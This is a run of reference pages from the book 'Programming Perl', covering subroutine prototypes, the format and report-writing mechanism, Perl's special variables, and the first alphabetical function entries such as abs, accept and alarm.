sub try (&$) {
    my($try,$catch) = @_;
    eval { &$try };
    if ($@) {
        local $_ = $@;
        &$catch;
    }
}
sub catch (&) { shift }

try {
    die "phooey";
} catch {
    /phooey/ and print "unphooey\n";
};

This prints "unphooey". What happens is that try is called with two arguments, the anonymous function {die "phooey";} and the return value of the catch function, which in this case is nothing but its own argument, the entire block of yet another anonymous function. Within try, the first function argument is called while protected within an eval block to trap anything that blows up. If something does blow up, the second function is called with a local version of the global $_ variable set to the raised exception.[47] If this all sounds like pure gobbledygook, you'll have to read about die and eval in Chapter 3, and then go check out anonymous functions in Chapter 4.

[47] Yes, there are still unresolved issues having to do with the visibility of @_. We're ignoring that question for the moment. (But note that if we make @_ lexically scoped someday, those anonymous subroutines can act like closures. (Gee, is this sounding a little Lispish? (Nevermind.)))

And here's a reimplementation of the grep operator (the built-in one is more efficient, of course):

sub mygrep (&@) {
    my $coderef = shift;
    my @result;
    foreach $_ (@_) {
        push(@result, $_) if &$coderef;
    }
    @result;
}

Some folks would prefer to see full alphanumeric prototypes. Alphanumerics have been intentionally left out of prototypes for the express purpose of someday adding named, formal parameters. (Maybe.) The current mechanism's main goal is to let module writers provide better diagnostics for module users. Larry feels that the notation is quite understandable to Perl programmers, and that it will not intrude greatly upon the meat of the module, nor make it harder to read. The line noise is visually encapsulated into a small pill that's easy to swallow.

One note of caution. It's probably best to put prototypes on new functions, not retrofit prototypes onto older ones. That's because you must be especially careful about silently imposing a different context. Suppose, for example, you decide that a function should take just one parameter, like this:

sub func ($) {
    my $n = shift;
    print "you gave me $n\n";
}

and someone has been calling it with an array or expression returning a single-element list:

func(@foo);
func( split /:/ );

Then you've just supplied an implicit scalar in front of their argument, which can be more than a bit surprising. The old @foo that used to hold one thing doesn't get passed in. Instead, 1 (the number of elements in @foo) is now passed to func. And the split gets called in a scalar context and starts scribbling on your @_ parameter list.

But if you're careful, you can do a lot of neat things with prototypes. This is all very powerful, of course, and should only be used in moderation to make the world a better place.

Previous: 2.6 Statements and Declarations | Programming Perl | Next: 2.8 Formats
2.6 Statements and Declarations | Book Index | 2.8 Formats


[Chapter 2] 2.8 Formats

Programming PerlSearch this book

2.8 Formats

Perl has a mechanism to help you generate simple, formatted reports and charts. It can keep track of things like how many lines on a page, what page you're on, when to print page headers, and so on. Keywords are borrowed from FORTRAN: format to declare and write to execute; see the relevant entries in Chapter 3. Fortunately, the layout is much more legible, more like the PRINT USING statement of BASIC. Think of it as a poor man's nroff(1). (If you know nroff, that may not sound like a recommendation.)

Formats, like packages and subroutines, are declared rather than executed, so they may occur at any point in your program. (Usually it's best to keep them all together.) They have their own namespace apart from all the other types in Perl. This means that if you have a function named "Foo", it is not the same thing as a format named "Foo". However, the default name for the format associated with a given filehandle is the same as the name of the filehandle. Thus, the default format for STDOUT is named "STDOUT", and the default format for filehandle TEMP is named "TEMP". They just look the same. They really aren't.

Output record formats are declared as follows:

format NAME =
FORMLIST
.

If NAME is omitted, format STDOUT is defined. FORMLIST consists of a sequence of lines, each of which may be of one of three types:

  • A comment, indicated by putting a # in the first column.

  • A "picture" line giving the format for one output line.

  • An argument line supplying values to plug into the previous picture line.

Picture lines are printed exactly as they look, except for certain fields that substitute values into the line.[48] Each substitution field in a picture line starts with either @ (at) or ^ (caret). These lines do not undergo any kind of variable interpolation. The @ field (not to be confused with the array marker @) is the normal kind of field; the other kind, the ^ field, is used to do rudimentary multiline text-block filling. The length of the field is indicated by padding out the field with multiple <, >, or | characters to specify, respectively, left justification, right justification, or centering. If the variable would exceed the width specified, it is truncated.

[48] Even those fields maintain the integrity of the columns you put them in, however. There is nothing in a picture line that can cause fields to grow or shrink or shift back and forth. The columns you see are sacred in a WYSIWYG sense.

As an alternate form of right justification, you may also use # characters (after an initial @ or ^, and with an optional ".") to specify a numeric field. This way you can line up the decimal points. If any value supplied for these fields contains a newline, only the text up to the newline is printed. Finally, the special field @* can be used for printing multi-line, non-truncated values; it should generally appear on a picture line by itself.

The values are specified on the following line in the same order as the picture fields. The expressions providing the values should be separated by commas. The expressions are all evaluated in a list context before the line is processed, so a single list expression could produce multiple list elements. The expressions may be spread out to more than one line if enclosed in braces. If so, the opening brace must be the first token on the first line.

Picture fields that begin with ^ rather than @ are treated specially. With a # field, the field is blanked out if the value is undefined. For other field types, the caret enables a kind of fill mode. Instead of an arbitrary expression, the value supplied must be a scalar variable name that contains a text string. Perl puts as much text as it can into the field, and then chops off the front of the string so that the next time the variable is referenced, more of the text can be printed. (Yes, this means that the variable itself is altered during execution of the write call, and is not preserved. Use a scratch variable if you want to preserve the original value.) Normally you would use a sequence of fields in a vertical stack to print out a block of text. You might wish to end the final field with the text "...", which will appear in the output if the text was too long to appear in its entirety. You can change which characters are legal to "break" on (or after) by changing the variable $: (that's $FORMAT_LINE_BREAK_CHARACTERS if you're using the English module) to a list of the desired characters.

Using ^ fields can produce variable-length records. If the text to be formatted is short, just repeat the format line with the ^ field in it a few times. If you just do this for short data you'd end up getting a few blank lines. To suppress lines that would end up blank, put a ~ (tilde) character anywhere in the line. (The tilde itself will be translated to a space upon output.) If you put a second tilde contiguous to the first, the line will be repeated until all the text in the fields on that line have been printed. (This works because the ^ fields chew up the strings they print. But if you use a field of the @ variety in conjunction with two tildes, the expression you supply had better not give the same value every time forever! Use a shift, or some other operator with a side effect that exhausts the set of values.)

Top-of-form processing is by default handled by a format with the same name as the current filehandle with "_TOP" concatenated to it. It's triggered at the top of each page. See write in Chapter 3.

Examples:

# a report on the /etc/passwd file
format STDOUT_TOP =
                    Passwd File
Name                Login    Office   Uid   Gid Home
------------------------------------------------------------------
.
format STDOUT =
@<<<<<<<<<<<<<<<<<< @||||||| @<<<<<<@>>>> @>>>> @<<<<<<<<<<<<<<<<<
$name,              $login,  $office,$uid,$gid, $home
.

# a report from a bug report form
format STDOUT_TOP =
                         Bug Reports
@<<<<<<<<<<<<<<<<<<<<<<<     @|||         @>>>>>>>>>>>>>>>>>>>>>>>
$system,                      $%,         $date
------------------------------------------------------------------
.
format STDOUT =
Subject: @<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
         $subject
Index: @<<<<<<<<<<<<<<<<<<<<<<<<<<<< ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
       $index,                       $description
Priority: @<<<<<<<<<< Date: @<<<<<<< ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
          $priority,        $date,   $description
From: @<<<<<<<<<<<<<<<<<<<<<<<<<<<<< ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
      $from,                         $description
Assigned to: @<<<<<<<<<<<<<<<<<<<<<< ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
             $programmer,            $description
~                                    ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
                                     $description
~                                    ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
                                     $description
~                                    ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
                                     $description
~                                    ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
                                     $description
~                                    ^<<<<<<<<<<<<<<<<<<<<<<<...
                                     $description
.

It is possible to intermix prints with writes on the same output channel, but you'll have to handle the $- special variable ($FORMAT_LINES_LEFT if you're using the English module) yourself.

2.8.1 Format Variables

The current format name is stored in the variable $~ ($FORMAT_NAME), and the current top-of-form format name is in $^ ($FORMAT_TOP_NAME). The current output page number is stored in $% ($FORMAT_PAGE_NUMBER), and the number of lines on the page is in $= ($FORMAT_LINES_PER_PAGE). Whether to autoflush output on this handle is stored in $| ($OUTPUT_AUTOFLUSH). The string to be output before each top of page (except the first) is stored in $^L ($FORMAT_FORMFEED). These variables are set on a per-filehandle basis, so you'll need to select the filehandle associated with a format in order to affect its format variables.

select((select(OUTF),
        $~ = "My_Other_Format",
        $^ = "My_Top_Format"
       )[0]);

Pretty ugly, eh? It's a common idiom though, so don't be too surprised when you see it. You can at least use a temporary variable to hold the previous filehandle (this is a much better approach in general, because not only does legibility improve, but you now have an intermediary statement in the code to stop on when you're single-stepping the debugger):

$ofh = select(OUTF);
$~ = "My_Other_Format";
$^ = "My_Top_Format";
select($ofh);

If you use the English module, you can even read the variable names:

use English;
$ofh = select(OUTF);
$FORMAT_NAME     = "My_Other_Format";
$FORMAT_TOP_NAME = "My_Top_Format";
select($ofh);

But you still have those funny calls to select. So just use the FileHandle module. Now you can access these special variables using lowercase method names instead:

use FileHandle;
OUTF->format_name("My_Other_Format");
OUTF->format_top_name("My_Top_Format");

Much better!

Since the values line following your picture line may contain arbitrary expressions (for @ fields, not ^ fields), you can farm out more sophisticated processing to other functions, like sprintf or one of your own. For example, to insert commas into a number:

format Ident =
    @<<<<<<<<<<<<<<<
    commify($n)
.

To get a real @, ~, or ^ into the field, do this:

format Ident =
I have an @ here.
         "@"
.

To center a whole line of text, do something like this:

format Ident =
@||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
                          "Some text line"
.

The > field-length indicator ensures that the text will be right-justified within the field, but the field as a whole occurs exactly where you show it occurring. There is no built-in way to say "float this field to the right-hand side of the page, however wide it is." You have to specify where it goes relative to the left margin. The truly desperate can generate their own format on the fly, based on the current number of columns, and then eval it:

$format  = "format STDOUT = \n"
         . '^' . '<' x $cols . "\n"
         . '$entry' . "\n"
         . "\t^" . "<" x ($cols-8) . "~~\n"
         . '$entry' . "\n"
         . ".\n";
print $format if $Debugging;
eval $format;
die $@ if $@;

The most important line there is probably the print. What the print would print out looks something like this:

format STDOUT =
^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
$entry
    ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<~~
$entry
.

Here's a little program that's somewhat like fmt(1):

format =
^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< ~~
$_

.

$/ = "";
while (<>) {
    s/\s*\n\s*/ /g;
    write;
}

2.8.2 Footers

While $FORMAT_TOP_NAME contains the name of the current header format, there is no corresponding mechanism to automatically do the same thing for a footer. Not knowing how big a format is going to be until you evaluate it is one of the major problems. It's on the TODO list.

Here's one strategy: If you have a fixed-size footer, you can get footers by checking $FORMAT_LINES_LEFT before each write and then print the footer yourself if necessary.

Here's another strategy; open a pipe to yourself, using open(MESELF, "|-") (see the open entry in Chapter 3) and always write to MESELF instead of STDOUT. Have your child process postprocess its STDIN to rearrange headers and footers however you like. Not very convenient, but doable.

2.8.3 Accessing Formatting Internals

For low-level access to the formatting mechanism, you may use formline and access $^A (the $ACCUMULATOR variable) directly. (Formats essentially compile into a sequence of calls to formline.) For example:

$str = formline <<'END', 1,2,3;
@<<<  @|||  @>>>
END

print "Wow, I just stored `$^A' in the accumulator!\n";

Or to make an swrite() subroutine which is to write as sprintf is to printf, do this:

use Carp;
sub swrite {
    croak "usage: swrite PICTURE ARGS" unless @_;
    my $format = shift;
    $^A = "";
    formline($format,@_);
    return $^A;
}

$string = swrite(<<'END', 1, 2, 3);
Check me out
@<<<  @|||  @>>>
END
print $string;

Lexical variables (declared with my) are not visible within a format unless the format is declared within the scope of the lexical variable.

Previous: 2.7 Subroutines | Programming Perl | Next: 2.9 Special Variables
2.7 Subroutines | Book Index | 2.9 Special Variables


[Chapter 2] 2.9 Special Variables

Programming PerlSearch this book

2.9 Special Variables

The following names have special meaning to Perl. Most of the punctuational names have reasonable mnemonics, or analogs in one of the shells. Nevertheless, if you wish to use the long variable names, just say:

use English;

at the top of your program. This will alias all the short names to the long names in the current package. Some of them even have medium names, generally borrowed from awk(1).

A few of these variables are considered read-only. This means that if you try to assign to this variable, either directly, or indirectly through a reference, you'll raise a run-time exception.

2.9.1 Regular Expression Special Variables

There are several variables that are associated with regular expressions and pattern matching. Except for $* they are always local to the current block, so you never need to mention them in a local. (And $* is deprecated, so you never need to mention it at all.)

$digit

Contains the text matched by the corresponding set of parentheses in the last pattern matched, not counting patterns matched in nested blocks that have been exited already. (Mnemonic: like \digit.) These variables are all read-only.

$&
$MATCH

The string matched by the last successful pattern match, not counting any matches hidden within a block or eval enclosed by the current block. (Mnemonic: like & in some editors.) This variable is read-only.

$`
$PREMATCH

The string preceding whatever was matched by the last successful pattern match not counting any matches hidden within a block or eval enclosed by the current block. (Mnemonic: ` often precedes a quoted string.) This variable is read-only.

$'
$POSTMATCH

The string following whatever was matched by the last successful pattern match not counting any matches hidden within a block or eval enclosed by the current block. (Mnemonic: ' often follows a quoted string.) Example:

$_ = 'abcdefghi';
/def/;
print "$`:$&:$'\n";         # prints abc:def:ghi

This variable is read-only.

$+
$LAST_PAREN_MATCH

The last bracket matched by the last search pattern. This is useful if you don't know which of a set of alternative patterns matched. For example:

/Version: (.*)|Revision: (.*)/ && ($rev = $+);

(Mnemonic: be positive and forward looking.) This variable is read-only.

$*
$MULTILINE_MATCHING

Use of $* is now deprecated, and is allowed only for maintaining backwards compatibility with older versions of Perl. Use /m (and maybe /s) in the regular expression match instead.

Set to 1 to do multi-line matching within a string, 0 to tell Perl that it can assume that strings contain a single line for the purpose of optimizing pattern matches. Pattern matches on strings containing multiple newlines can produce confusing results when $* is 0. Default is 0. (Mnemonic: * matches multiple things.) Note that this variable only influences the interpretation of ^ and $. A literal newline can be searched for even when $* == 0.

2.9.2 Per-Filehandle Special Variables

These variables never need to be mentioned in a local because they always refer to some value pertaining to the currently selected output filehandle - each filehandle keeps its own set of values. When you select another filehandle, the old filehandle keeps whatever values it had in effect, and the variables now reflect the values of the new filehandle.

To go a step further and avoid select entirely, these variables that depend on the currently selected filehandle may instead be set by calling an object method on the FileHandle object. (Summary lines below for this contain the word HANDLE.) First you must say:

use FileHandle;

after which you may use either:

method HANDLE EXPR

or:

HANDLE->method(EXPR)

Each of the methods returns the old value of the FileHandle attribute. The methods each take an optional EXPR, which if supplied specifies the new value for the FileHandle attribute in question. If not supplied, most of the methods do nothing to the current value, except for autoflush, which will assume a 1 for you, just to be different.

$|
$OUTPUT_AUTOFLUSH
autoflush HANDLE EXPR

If set to nonzero, forces an fflush(3) after every write or print on the currently selected output channel. (This is called "command buffering". Contrary to popular belief, setting this variable does not turn off buffering.) Default is 0, which on many systems means that STDOUT will default to being line buffered if output is to the terminal, and block buffered otherwise. Setting this variable is useful primarily when you are outputting to a pipe, such as when you are running a Perl script under rsh and want to see the output as it's happening. This has no effect on input buffering. If you have a need to flush a buffer immediately after setting $|, you may simply print ""; rather than waiting for the next print to flush it. (Mnemonic: when you want your pipes to be piping hot.)

$%
$FORMAT_PAGE_NUMBER
format_page_number HANDLE EXPR

The current page number of the currently selected output channel. (Mnemonic: % is page number in nroff.)

$=
$FORMAT_LINES_PER_PAGE
format_lines_per_page HANDLE EXPR

The current page length (printable lines) of the currently selected output channel. Default is 60. (Mnemonic: = has horizontal lines.)

$-
$FORMAT_LINES_LEFT
format_lines_left HANDLE EXPR

The number of lines left on the page of the currently selected output channel. (Mnemonic: lines_on_page - lines_printed.)

$~
$FORMAT_NAME
format_name HANDLE EXPR

The name of the current report format for the currently selected output channel. Default is name of the filehandle. (Mnemonic: takes a turn after $^.)

$^
$FORMAT_TOP_NAME
format_top_name HANDLE EXPR

The name of the current top-of-page format for the currently selected output channel. Default is name of the filehandle with _TOP appended. (Mnemonic: points to top of page.)

2.9.3 Global Special Variables

There are quite a few variables that are global in the fullest sense - they mean the same thing in every package. If you want a private copy of one of these, you must localize it in the current block.

$_
$ARG

The default input and pattern-searching space. These pairs are equivalent:

while (<>) {...}    # only equivalent in while!
while (defined($_ = <>)) {...}

/^Subject:/
$_ =~ /^Subject:/

tr/a-z/A-Z/
$_ =~ tr/a-z/A-Z/

chop
chop($_)

Here are the places where Perl will assume $_ even if you don't use it:

  • Various unary functions, including functions like ord and int, as well as all the file tests (-f, -d) except for -t, which defaults to STDIN.

  • Various list functions like print and unlink.

  • The pattern-matching operations m//, s///, and tr/// when used without an =~ operator.

  • The default iterator variable in a foreach loop if no other variable is supplied.

  • The implicit iterator variable in the grep and map functions.

  • The default place to put an input record when a <FH> operation's result is tested by itself as the sole criterion of a while test. Note that outside of a while test, this will not happen.

Mnemonic: underline is the underlying operand in certain operations.

$.
$INPUT_LINE_NUMBER
$NR

The current input line number of the last filehandle that was read. An explicit close on the filehandle resets the line number. Since <> never does an explicit close, line numbers increase across ARGV files (but see examples under eof in Chapter 3). Localizing $. has the effect of also localizing Perl's notion of the last read filehandle. (Mnemonic: many programs use "." to mean the current line number.)

$/
$INPUT_RECORD_SEPARATOR
$RS

The input record separator, newline by default. It works like awk's RS variable, and, if set to the null string, treats blank lines as delimiters. You may set it to a multi-character string to match a multi-character delimiter. Note that setting it to "\n\n" means something slightly different than setting it to "", if the file contains consecutive blank lines. Setting it to "" will treat two or more consecutive blank lines as a single blank line. Setting it to "\n\n" means Perl will blindly assume that the next input character belongs to the next paragraph, even if it's a third newline. (Mnemonic: / is used to delimit line boundaries when quoting poetry.)

undef $/;
$_ = <FH>;          # whole file now here
s/\n[ \t]+/ /g;

$,
$OUTPUT_FIELD_SEPARATOR
$OFS

The output field separator for the print operator. Ordinarily the print operator simply prints out the comma separated fields you specify. In order to get behavior more like awk, set this variable as you would set awk's OFS variable to specify what is printed between fields. (Mnemonic: what is printed when there is a "," in your print statement.)

$\
$OUTPUT_RECORD_SEPARATOR
$ORS

The output record separator for the print operator. Ordinarily the print operator simply prints out the comma-separated fields you specify, with no trailing newline or record separator assumed. In order to get behavior more like awk, set this variable as you would set awk's ORS variable to specify what is printed at the end of the print. (Mnemonic: you set $\ instead of adding "\n" at the end of the print. Also, it's just like /, but it's what you get "back" from Perl.)

$"
$LIST_SEPARATOR

This is like $, above except that it applies to list values interpolated into a double-quoted string (or similar interpreted string). Default is a space. (Mnemonic: obvious, I think.)

$;
$SUBSCRIPT_SEPARATOR
$SUBSEP

The subscript separator for multi-dimensional array emulation. If you refer to a hash element as:

$foo{$a,$b,$c}

it really means:

$foo{join($;, $a, $b, $c)}

But don't put:

@foo{$a,$b,$c}      # a slice--note the @

which means:

($foo{$a},$foo{$b},$foo{$c})

Default is "\034", the same as SUBSEP in awk. Note that if your keys contain binary data there might not be any safe value for $;. (Mnemonic: comma - the syntactic subscript separator - is a semi-semicolon. Yeah, I know, it's pretty lame, but $, is already taken for something more important.)

This variable is for maintaining backward compatibility, so consider using "real" multi-dimensional arrays now.

$^L
$FORMAT_FORMFEED
format_formfeed HANDLE EXPR

What a format outputs to perform a formfeed. Default is "\f".

$:
$FORMAT_LINE_BREAK_CHARACTERS
format_line_break_characters HANDLE EXPR

The current set of characters after which a string may be broken to fill continuation fields (starting with ^) in a format. Default is " \n-", to break on whitespace or hyphens. (Mnemonic: a colon in poetry is a part of a line.)

$^A
$ACCUMULATOR

The current value of the write accumulator for format lines. A format contains formline commands that put their result into $^A. After calling its format, write prints out the contents of $^A and empties. So you never actually see the contents of $^A unless you call formline yourself and then look at it.

$#
$OFMT

Use of $# is now deprecated and is allowed only for maintaining backwards compatibility with older versions of Perl. You should use printf instead. $# contains the output format for printed numbers. This variable is a half-hearted attempt to emulate awk's OFMT variable. There are times, however, when awk and Perl have differing notions of what is in fact numeric. Also, the initial value is approximately %.14g rather than %.6g, so you need to set $# explicitly to get awk's value. (Mnemonic: # is the number sign. Better yet, just forget it.)

$?
$CHILD_ERROR

The status returned by the last pipe close, backtick (``) command, or system operator. Note that this is the status word returned by the wait(2) system call, so the exit value of the subprocess is actually ($? >> 8). Thus on many systems, ($? & 255) gives which signal, if any, the process died from, and whether there was a core dump. (Mnemonic: similar to sh and ksh.)

$!
$OS_ERROR
$ERRNO

If used in a numeric context, yields the current value of the errno variable (identifying the last system call error) in the currently executing perl, with all the usual caveats. (This means that you shouldn't depend on the value of $! to be anything in particular unless you've gotten a specific error return indicating a system error.) If used in a string context, yields the corresponding system error string. You can assign to $! in order to set errno, if, for instance, you want $! to return the string for error n, or you want to set the exit value for the die operator. (Mnemonic: What just went bang?)

$@
$EVAL_ERROR

The Perl syntax error message from the last eval command. If null, the last eval was parsed and executed correctly (although the operations you invoked may have failed in the normal fashion). (Mnemonic: Where was the syntax error "at"?)

Note that warning messages are not collected in this variable. You can, however, set up a routine to process warnings by setting $SIG{__WARN__} below.

$$
$PROCESS_ID
$PID

The process number of the Perl running this script. (Mnemonic: same as shells.)

$<
$REAL_USER_ID
$UID

The real user ID (uid) of this process. (Mnemonic: it's the uid you came from, if you're running setuid.)

$>
$EFFECTIVE_USER_ID
$EUID

The effective uid of this process. Example:

$< = $>;            # set real to effective uid
($<,$>) = ($>,$<);  # swap real and effective uid

(Mnemonic: it's the uid you went to, if you're running setuid.) Note: $< and $> can only be swapped on machines supporting setreuid(2). And sometimes not even then.

$(
$REAL_GROUP_ID
$GID

The real group ID (gid) of this process. If you are on a machine that supports membership in multiple groups simultaneously, gives a space-separated list of groups you are in. The first number is the one returned by getgid(1), and the subsequent ones by getgroups(2), one of which may be the same as the first number. (Mnemonic: parentheses are used to group things. The real gid is the group you left, if you're running setgid.)

$)
$EFFECTIVE_GROUP_ID
$EGID

The effective gid of this process. If you are on a machine that supports membership in multiple groups simultaneously, $) gives a space-separated list of groups you are in. The first number is the one returned by getegid(2), and the subsequent ones by getgroups(2), one of which may be the same as the first number. (Mnemonic: parentheses are used to group things. The effective gid is the group that's right for you, if you're running setgid.)

Note: $<, $>, $(, and $) can only be set on machines that support the corresponding system set-id routine. $( and $) can only be swapped on machines supporting setregid(2). Because Perl doesn't currently use initgroups(2), you can't set your group vector to multiple groups.

$0
$PROGRAM_NAME

Contains the name of the file containing the Perl script being executed. Assigning to $0 attempts to modify the argument area that the ps(1) program sees. This is more useful as a way of indicating the current program state than it is for hiding the program you're running. But it doesn't work on all systems. (Mnemonic: same as sh and ksh.)

$[

The index of the first element in an array, and of the first character in a substring. Default is 0, but you could set it to 1 to make Perl behave more like awk (or FORTRAN) when subscripting and when evaluating the index and substr functions. (Mnemonic: [ begins subscripts.)

Assignment to $[ is now treated as a compiler directive, and cannot influence the behavior of any other file. Its use is discouraged.

$]
$PERL_VERSION

Returns the version + patchlevel / 1000. It can be used to determine at the beginning of a script whether the Perl interpreter executing the script is in the right range of versions. Example:

warn "No checksumming!\n" if $] < 3.019;
die "Must have prototyping available\n" if $] < 5.003;

(Mnemonic: Is this version of Perl in the right bracket?)

$^D
$DEBUGGING

The current value of the debugging flags. (Mnemonic: value of -D switch.)

$^F
$SYSTEM_FD_MAX

The maximum system file descriptor, ordinarily 2. System file descriptors are passed to execed processes, while higher file descriptors are not. Also, during an open, system file descriptors are preserved even if the open fails. (Ordinary file descriptors are closed before the open is attempted, and stay closed if the open fails.) Note that the close-on-exec status of a file descriptor will be decided according to the value of $^F at the time of the open, not the time of the exec.

$^H

This variable contains internal compiler hints enabled by certain pragmatic modules. Hint: ignore this and use the pragmata.

$^I
$INPLACE_EDIT

The current value of the inplace-edit extension. Use undef to disable inplace editing. (Mnemonic: value of -i switch.)

$^O
$OSNAME

This variable contains the name of the operating system the current Perl binary was compiled for. It's intended as a cheap alternative to pulling it out of the Config module.

$^P
$PERLDB

The internal flag that the debugger clears so that it doesn't debug itself. You could conceivably disable debugging yourself by clearing it.

$^T
$BASETIME

The time at which the script began running, in seconds since the epoch (the beginning of 1970, for UNIX systems). The values returned by the -M, -A, and -C filetests are based on this value.

$^W
$WARNING

The current value of the warning switch, either true or false. (Mnemonic: the value is related to the -w switch.)

$^X
$EXECUTABLE_NAME

The name that the Perl binary itself was executed as, from C's argv[0].

$ARGV

Contains the name of the current file when reading from <ARGV>.

2.9.4 Global Special Arrays

The following arrays and hashes are global. Just like the special global scalar variables, they refer to package main no matter when they are referenced. The following two statements are exactly the same:

print "@INC\n";
print "@main::INC\n";

@ARGV

The array containing the command-line arguments intended for the script. Note that $#ARGV is generally the number of arguments minus one, since $ARGV[0] is the first argument, not the command name. See $0 for the command name.

@INC

The array containing the list of places to look for Perl scripts to be evaluated by the do EXPR, require, or use constructs. It initially consists of the arguments to any -I command-line switches, followed by the default Perl libraries, such as:

/usr/local/lib/perl5/$ARCH/$VERSION
/usr/local/lib/perl5
/usr/local/lib/perl5/site_perl
/usr/local/lib/perl5/site_perl/$ARCH

followed by ".", to represent the current directory. If you need to modify this list at run-time, you should use the lib module in order to also get the machine-dependent library properly loaded:

use lib '/mypath/libdir/';
use SomeMod;

@F

The array into which the input lines are split when the -a command-line switch is given. If the -a option is not used, this array has no special meaning. (This array is actually only @main::F, and not in all packages at once.)

%INC

The hash containing entries for the filename of each file that has been included via do or require. The key is the filename you specified, and the value is the location of the file actually found. The require command uses this array to determine whether a given file has already been included.

%ENV

The hash containing your current environment. Setting a value in %ENV changes the environment for child processes:

$ENV{PATH} = "/bin:/usr/bin";

To remove something from your environment, make sure to use delete instead of undef.

Note that processes running as a crontab entry inherit a particularly impoverished set of environment variables. Also note that you should set $ENV{PATH}, $ENV{SHELL}, and $ENV{IFS} if you are running as a setuid script. See Chapter 8, Other Oddments, for more on security and setuid issues.

%SIG

The hash used to set signal handlers for various signals. Example:

sub handler {       # 1st argument is signal name
    local($sig) = @_;
    print "Caught a SIG$sig--shutting down\n";
    close(LOG);
    exit(0);
}

$SIG{INT} = 'handler';
$SIG{QUIT} = 'handler';
...
$SIG{INT} = 'DEFAULT';    # restore default action
$SIG{QUIT} = 'IGNORE';    # ignore SIGQUIT

The %SIG array only contains values for the signals actually set within the Perl script. Here are some other examples:

$SIG{PIPE} = Plumber;     # SCARY!!
$SIG{PIPE} = "Plumber";   # just fine, assumes main::Plumber
$SIG{PIPE} = \&Plumber;   # just fine; assume current Plumber
$SIG{PIPE} = Plumber();   # oops, what did Plumber() return??

The example marked SCARY!! is problematic because it's a bareword, which means sometimes it's a string representing the function, and sometimes it's going to call the subroutine right then and there! Best to be sure and quote it or take a reference to it. Certain internal hooks can also be set using the %SIG hash. The routine indicated by $SIG{__WARN__} is called when a warning message is about to be printed. The warning message is passed as the first argument. The presence of a __WARN__ hook causes the ordinary printing of warnings to STDERR to be suppressed. You can use this to save warnings in a variable, or turn warnings into fatal errors, like this:

local $SIG{__WARN__} = sub { die $_[0] };
eval $proggie;

The routine indicated by $SIG{__DIE__} is called when a fatal exception is about to be thrown. The error message is passed as the first argument. When a __DIE__ hook routine returns, the exception processing continues as it would have in the absence of the hook, unless the hook routine itself exits via a goto, a loop exit, or a die. The __DIE__ handler is explicitly disabled during the call, so that you yourself can then call the real die from a __DIE__ handler. (If it weren't disabled, the handler would call itself recursively forever.) The case is similar for __WARN__.

2.9.5 Global Special Filehandles

The following filehandles (except for DATA) always refer to main::FILEHANDLE.

ARGV

The special filehandle that iterates over command line filenames in @ARGV. Usually written as the null filehandle in <>.

STDERR

The special filehandle for standard error in any package.

STDIN

The special filehandle for standard input in any package.

STDOUT

The special filehandle for standard output in any package.

DATA

The special filehandle that refers to anything following the __END__ token in the file containing the script. Or, the special filehandle for anything following the __DATA__ token in a required file, as long as you're reading data in the same package that the __DATA__ was found in.

_ (underline)

The special filehandle used to cache the information from the last stat, lstat, or file test operator.

Previous: 2.8 Formats | Programming Perl | Next: 3. Functions
2.8 Formats | Book Index | 3. Functions


[Chapter 3] 3.2.1 /PATTERN/

Programming PerlSearch this book

3.2.1 /PATTERN/

/PATTERN/
m/PATTERN/

The match operator. See "Regular Expressions" in Chapter 2.

Previous: 3.2 Perl Functions in Alphabetical Order | Programming Perl | Next: 3.2.2 ?PATTERN?
3.2 Perl Functions in Alphabetical Order | Book Index | 3.2.2 ?PATTERN?


[Chapter 3] 3.2.2 ?PATTERN?

Programming PerlSearch this book

3.2.2 ?PATTERN?

?PATTERN?

This is just like the /PATTERN/ search, except that it matches only once between calls to reset, so it finds only the first occurrence of something rather than all occurrences. (In other words, the operator works repeatedly until it actually matches something, then it turns itself off until you explicitly turn it back on with reset.) This may be useful (and efficient) if you want to see only the first occurrence of the pattern in each file of a set of files. Note that m?? is equivalent to ??.

The reset operator will only reset instances of ?? that were compiled in the same package that it was.

 | Programming Perl | Next: 3.2.3 abs
3.2.1 /PATTERN/ | Book Index | 3.2.3 abs


[Chapter 3] 3.2.3 abs

Programming PerlSearch this book

3.2.3 abs

abs VALUE

This function returns the absolute value of its argument (or $_ if omitted).

Previous: 3.2.2 ?PATTERN? | Programming Perl | Next: 3.2.4 accept
3.2.2 ?PATTERN? | Book Index | 3.2.4 accept


[Chapter 3] 3.2.4 accept

Programming PerlSearch this book

3.2.4 accept

accept NEWSOCKET, GENERICSOCKET

This function does the same thing as the accept system call - see accept(2). It is used by server processes that wish to accept socket connections from clients. Execution is suspended until a connection is made, at which time the NEWSOCKET filehandle is opened and attached to the newly made connection. The function returns the connected address if the call succeeded, false otherwise (and puts the error code into $!). GENERICSOCKET must be a filehandle already opened via the socket operator and bound to one of the server's network addresses. For example:

unless ($peer = accept NS, S) {
    die "Can't accept a connection: $!\n";
}

See also the example in the section "Sockets" in Chapter 6, Social Engineering.

Previous: 3.2.3 abs | Programming Perl | Next: 3.2.5 alarm
3.2.3 abs | Book Index | 3.2.5 alarm


[Chapter 3] 3.2.5 alarm

Programming PerlSearch this book

3.2.5 alarm

alarm EXPR

This function sends a SIGALRM signal to the executing Perl program after EXPR seconds. On some older systems, alarms go off at the "top of the second," so, for instance, an alarm 1 may go off anywhere between 0 to 1 second from now, depending on when in the current second it is. An alarm 2 may go off anywhere from 1 to 2 seconds from now. And so on. For better resolution, you may be able to use syscall to call the itimer routines that some UNIX systems support. Or you can use the timeout feature of the select function.

Each call disables the previous timer, and an argument of 0 may be supplied to cancel the previous timer without starting a new one. The return value is the number of seconds remaining on the previous timer.

Previous: 3.2.4 accept | Programming Perl | Next: 3.2.6 atan2
3.2.4 accept | Book Index | 3.2.6 atan2


